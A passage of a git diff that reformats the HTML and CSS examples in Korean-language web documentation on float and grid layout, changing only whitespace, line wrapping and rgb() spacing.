+  Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+  ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+  est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+  tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus
+  sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+  vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+  penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+</p>
 ```
 
 ```css hidden
@@ -161,7 +227,10 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 0 auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 
 .box {
@@ -170,12 +239,12 @@ body {
   width: 150px;
   height: 150px;
   border-radius: 5px;
-  background-color: rgb(207,232,220);
+  background-color: rgb(207, 232, 220);
   padding: 1em;
 }
 
 .special {
-  background-color: rgb(79,185,227);
+  background-color: rgb(79, 185, 227);
   padding: 10px;
   color: #fff;
 }
@@ -202,12 +271,31 @@ body {
 
 <div class="box">float</div>
 
-<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p>
-
-<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
-
+<p>
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam
+  dolor, eu lacinia lorem placerat vulputate.
+</p>
+
+<p class="cleared">
+  Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor
+  imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa
+  at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas
+  ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae
+  convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis.
+  Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut
+  luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare
+  felis, eget fermentum sapien.
+</p>
+
+<p>
+  Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+  ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+  est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+  tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus
+  sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+  vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+  penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+</p>
 ```
 
 ```css hidden
@@ -215,7 +303,10 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 0 auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 
 .box {
@@ -224,7 +315,7 @@ body {
   width: 150px;
   height: 150px;
   border-radius: 5px;
-  background-color: rgb(207,232,220);
+  background-color: rgb(207, 232, 220);
   padding: 1em;
 }
 
@@ -249,7 +340,10 @@ body {
 <div class="wrapper">
   <div class="box">float</div>
 
-  <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.</p>
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+    aliquam dolor, eu lacinia lorem placerat vulputate.
+  </p>
 </div>
 ```
 
@@ -257,7 +351,7 @@ body {
 
 ```css
 .wrapper {
-  background-color: rgb(79,185,227);
+  background-color: rgb(79, 185, 227);
   padding: 10px;
   color: #fff;
 }
@@ -267,7 +361,7 @@ body {
 
 ```css
 .cleared {
-    clear: left;
+  clear: left;
 }
 ```
 
@@ -278,12 +372,32 @@ body {
 <div class="wrapper">
   <div class="box">float</div>
 
-  <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p>
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+    aliquam dolor, eu lacinia lorem placerat vulputate.
+  </p>
 </div>
 
-<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+<p class="cleared">
+  Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor
+  imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa
+  at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas
+  ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae
+  convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis.
+  Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut
+  luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare
+  felis, eget fermentum sapien.
+</p>
+
+<p>
+  Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+  ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+  est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+  tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus
+  sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+  vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+  penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+</p>
 ```
 
 ```css hidden
@@ -291,11 +405,14 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 0 auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 
 .wrapper {
-  background-color: rgb(79,185,227);
+  background-color: rgb(79, 185, 227);
   padding: 10px;
   color: #fff;
 }
@@ -306,7 +423,7 @@ body {
   width: 150px;
   height: 150px;
   border-radius: 5px;
-  background-color: rgb(207,232,220);
+  background-color: rgb(207, 232, 220);
   padding: 1em;
 }
 
@@ -340,11 +457,31 @@ body {
 <div class="wrapper">
   <div class="box">float</div>
 
-  <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p>
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+    aliquam dolor, eu lacinia lorem placerat vulputate.
+  </p>
 </div>
-<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+<p class="cleared">
+  Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor
+  imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa
+  at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas
+  ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae
+  convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis.
+  Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut
+  luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare
+  felis, eget fermentum sapien.
+</p>
+
+<p>
+  Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+  ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+  est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+  tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus
+  sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+  vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+  penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+</p>
 ```
 
 ```css hidden
@@ -352,11 +489,14 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 0 auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 
 .wrapper {
-  background-color: rgb(79,185,227);
+  background-color: rgb(79, 185, 227);
   padding: 10px;
   color: #fff;
 }
@@ -367,7 +507,7 @@ body {
   width: 150px;
   height: 150px;
   border-radius: 5px;
-  background-color: rgb(207,232,220);
+  background-color: rgb(207, 232, 220);
   padding: 1em;
 }
 
@@ -388,7 +528,7 @@ body {
 
 ```css
 .wrapper {
-  background-color: rgb(79,185,227);
+  background-color: rgb(79, 185, 227);
   padding: 10px;
   color: #fff;
   overflow: auto;
@@ -400,11 +540,31 @@ body {
 <div class="wrapper">
   <div class="box">float</div>
 
-  <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p>
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+    aliquam dolor, eu lacinia lorem placerat vulputate.
+  </p>
 </div>
-<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+<p class="cleared">
+  Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor
+  imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa
+  at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas
+  ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae
+  convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis.
+  Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut
+  luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare
+  felis, eget fermentum sapien.
+</p>
+
+<p>
+  Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+  ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+  est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+  tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus
+  sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+  vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+  penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+</p>
 ```
 
 ```css hidden
@@ -412,11 +572,14 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 0 auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 
 .wrapper {
-  background-color: rgb(79,185,227);
+  background-color: rgb(79, 185, 227);
   padding: 10px;
   color: #fff;
   overflow: auto;
@@ -428,7 +591,7 @@ body {
   width: 150px;
   height: 150px;
   border-radius: 5px;
-  background-color: rgb(207,232,220);
+  background-color: rgb(207, 232, 220);
   padding: 1em;
 }
 ```
@@ -443,7 +606,7 @@ body {
 
 ```css
 .wrapper {
-  background-color: rgb(79,185,227);
+  background-color: rgb(79, 185, 227);
   padding: 10px;
   color: #fff;
   display: flow-root;
@@ -455,11 +618,31 @@ body {
 <div class="wrapper">
   <div class="box">float</div>
 
-  <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p>
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+    aliquam dolor, eu lacinia lorem placerat vulputate.
+  </p>
 </div>
-<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+<p class="cleared">
+  Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor
+  imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa
+  at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas
+  ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae
+  convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis.
+  Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut
+  luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare
+  felis, eget fermentum sapien.
+</p>
+
+<p>
+  Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+  ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+  est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+  tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus
+  sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+  vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+  penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+</p>
 ```
 
 ```css hidden
@@ -467,11 +650,14 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 0 auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 
 .wrapper {
-  background-color: rgb(79,185,227);
+  background-color: rgb(79, 185, 227);
   padding: 10px;
   color: #fff;
   display: flow-root;
@@ -483,7 +669,7 @@ body {
   width: 150px;
   height: 150px;
   border-radius: 5px;
-  background-color: rgb(207,232,220);
+  background-color: rgb(207, 232, 220);
   padding: 1em;
 }
 ```
diff --git a/files/ko/learn/css/css_layout/grids/index.md b/files/ko/learn/css/css_layout/grids/index.md
index 472466b7896bd6..de18c3f3c0f2ae 100644
--- a/files/ko/learn/css/css_layout/grids/index.md
+++ b/files/ko/learn/css/css_layout/grids/index.md
@@ -52,7 +52,7 @@ CSS 그리드 레이아웃은 웹페이지를 위한 이차원 레이아웃 시
 
 ```css
 .container {
-    display: grid;
+  display: grid;
 }
 ```
 
@@ -62,8 +62,8 @@ CSS 그리드 레이아웃은 웹페이지를 위한 이차원 레이아웃 시
 
 ```css
 .container {
-    display: grid;
-    grid-template-columns: 200px 200px 200px;
+  display: grid;
+  grid-template-columns: 200px 200px 200px;
 }
 ```
 
@@ -74,26 +74,29 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 2em auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif;
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 
 .container > div {
   border-radius: 5px;
   padding: 10px;
-  background-color: rgb(207,232,220);
-  border: 2px solid rgb(79,185,227);
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
 }
 ```
 
 ```html hidden
 <div class="container">
- <div>하나</div>
- <div>둘</div>
- <div>셋</div>
- <div>넷</div>
- <div>다덧</div>
- <div>여섯</div>
- <div>일곱</div>
+  <div>하나</div>
+  <div>둘</div>
+  <div>셋</div>
+  <div>넷</div>
+  <div>다덧</div>
+  <div>여섯</div>
+  <div>일곱</div>
 </div>
 ```
 
@@ -114,8 +117,8 @@ body {
 
 ```css
 .container {
-    display: grid;
-    grid-template-columns: 1fr 1fr 1fr;
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
 }
 ```
 
@@ -123,8 +126,8 @@ body {
 
 ```css
 .container {
-    display: grid;
-    grid-template-columns: 2fr 1fr 1fr;
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
 }
 ```
 
@@ -135,7 +138,10 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 2em auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif;
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 
 .container {
@@ -146,10 +152,9 @@ body {
 .container > div {
   border-radius: 5px;
   padding: 10px;
-  background-color: rgb(207,232,220);
-  border: 2px solid rgb(79,185,227);
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
 }
-
 ```
 
 ```html hidden
@@ -174,9 +179,9 @@ body {
 
 ```css
 .container {
-    display: grid;
-    grid-template-columns: 2fr 1fr 1fr;
-    grid-gap: 20px;
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+  grid-gap: 20px;
 }
 ```
 
@@ -187,7 +192,10 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 2em auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif;
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 
 .container {
@@ -199,10 +207,9 @@ body {
 .container > div {
   border-radius: 5px;
   padding: 10px;
-  background-color: rgb(207,232,220);
-  border: 2px solid rgb(79,185,227);
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
 }
-
 ```
 
 ```html hidden
@@ -236,9 +243,9 @@ body {
 
 ```css
 .container {
-    display: grid;
-    grid-template-columns: repeat(3, 1fr);
-    grid-gap: 20px;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 20px;
 }
 ```
 
@@ -255,14 +262,17 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 2em auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif;
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 
 .container > div {
   border-radius: 5px;
   padding: 10px;
-  background-color: rgb(207,232,220);
-  border: 2px solid rgb(79,185,227);
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
 }
 ```
 
@@ -276,7 +286,6 @@ body {
   <div>여섯</div>
   <div>일곱</div>
 </div>
-
 ```
 
 ```css
@@ -298,10 +307,10 @@ body {
 
 ```css
 .container {
-    display: grid;
-    grid-template-columns: repeat(3, 1fr);
-    grid-auto-rows: minmax(100px, auto);
-    grid-gap: 20px;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+  grid-gap: 20px;
 }
 ```
 
@@ -318,16 +327,18 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 2em auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif;
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 
 .container > div {
   border-radius: 5px;
   padding: 10px;
-  background-color: rgb(207,232,220);
-  border: 2px solid rgb(79,185,227);
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
 }
-
 ```
 
 ```html hidden
@@ -400,44 +411,47 @@ footer {
 ```
 
 ```css hidden
-                body {
-                    width: 90%;
-                    max-width: 900px;
-                    margin: 2em auto;
-                    font: .9em/1.2 Arial, Helvetica, sans-serif;
-                }
-
-                .container {
-                    display: grid;
-                    grid-template-columns: 1fr 3fr;
-                    grid-gap: 20px;
-                }
+body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
+}
+
+.container {
+  display: grid;
+  grid-template-columns: 1fr 3fr;
+  grid-gap: 20px;
+}
 header {
-    grid-column: 1 / 3;
-    grid-row: 1;
+  grid-column: 1 / 3;
+  grid-row: 1;
 }
 
 article {
-    grid-column: 2;
-    grid-row: 2;
+  grid-column: 2;
+  grid-row: 2;
 }
 
 aside {
-    grid-column: 1;
-    grid-row: 2;
+  grid-column: 1;
+  grid-row: 2;
 }
 
 footer {
-    grid-column: 1 / 3;
-    grid-row: 3;
+  grid-column: 1 / 3;
+  grid-row: 3;
 }
 
 header,
 footer {
   border-radius: 5px;
   padding: 10px;
-  background-color: rgb(207,232,220);
-  border: 2px solid rgb(79,185,227);
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
 }
 
 aside {
@@ -450,13 +464,34 @@ aside {
   <header>이것은 나의 사랑스런 블로그입니다</header>
   <article>
     <h1>내 글</h1>
-    <p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-    <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+    <p>
+      Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor
+      imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus
+      massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra
+      egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada
+      et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac
+      imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis
+      ornare egestas augue ut luctus. Proin blandit quam nec lacus varius
+      commodo et a urna. Ut id ornare felis, eget fermentum sapien.
+    </p>
+
+    <p>
+      Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+      ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+      est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+      tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies
+      lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra
+      quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis
+      natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+    </p>
   </article>
   <aside>
     <h2>Other things</h2>
-    <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.</p>
+    <p>
+      Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+      ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+      est.
+    </p>
   </aside>
   <footer>Contact me@mysite.com</footer>
 </div>
@@ -476,9 +511,9 @@ aside {
 .container {
   display: grid;
   grid-template-areas:
-      "header header"
-      "sidebar content"
-      "footer footer";
+    "header header"
+    "sidebar content"
+    "footer footer";
   grid-template-columns: 1fr 3fr;
   grid-gap: 20px;
 }
@@ -507,15 +542,18 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 2em auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif;
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 
 header,
 footer {
   border-radius: 5px;
   padding: 10px;
-  background-color: rgb(207,232,220);
-  border: 2px solid rgb(79,185,227);
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
 }
 
 aside {
@@ -525,9 +563,9 @@ aside {
 .container {
   display: grid;
   grid-template-areas:
-  "header header"
-  "sidebar content"
-  "footer footer";
+    "header header"
+    "sidebar content"
+    "footer footer";
   grid-template-columns: 1fr 3fr;
   grid-gap: 20px;
 }
@@ -547,7 +585,6 @@ aside {
 footer {
   grid-area: footer;
 }
-
 ```
 
 ```html hidden
@@ -555,12 +592,34 @@ footer {
   <header>이것은 나의 사랑스런 블로그입니다</header>
   <article>
     <h1>내 글</h1>
-    <p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-    <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+    <p>
+      Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor
+      imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus
+      massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra
+      egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada
+      et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac
+      imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis
+      ornare egestas augue ut luctus. Proin blandit quam nec lacus varius
+      commodo et a urna. Ut id ornare felis, eget fermentum sapien.
+    </p>
+
+    <p>
+      Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+      ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+      est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+      tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies
+      lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra
+      quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis
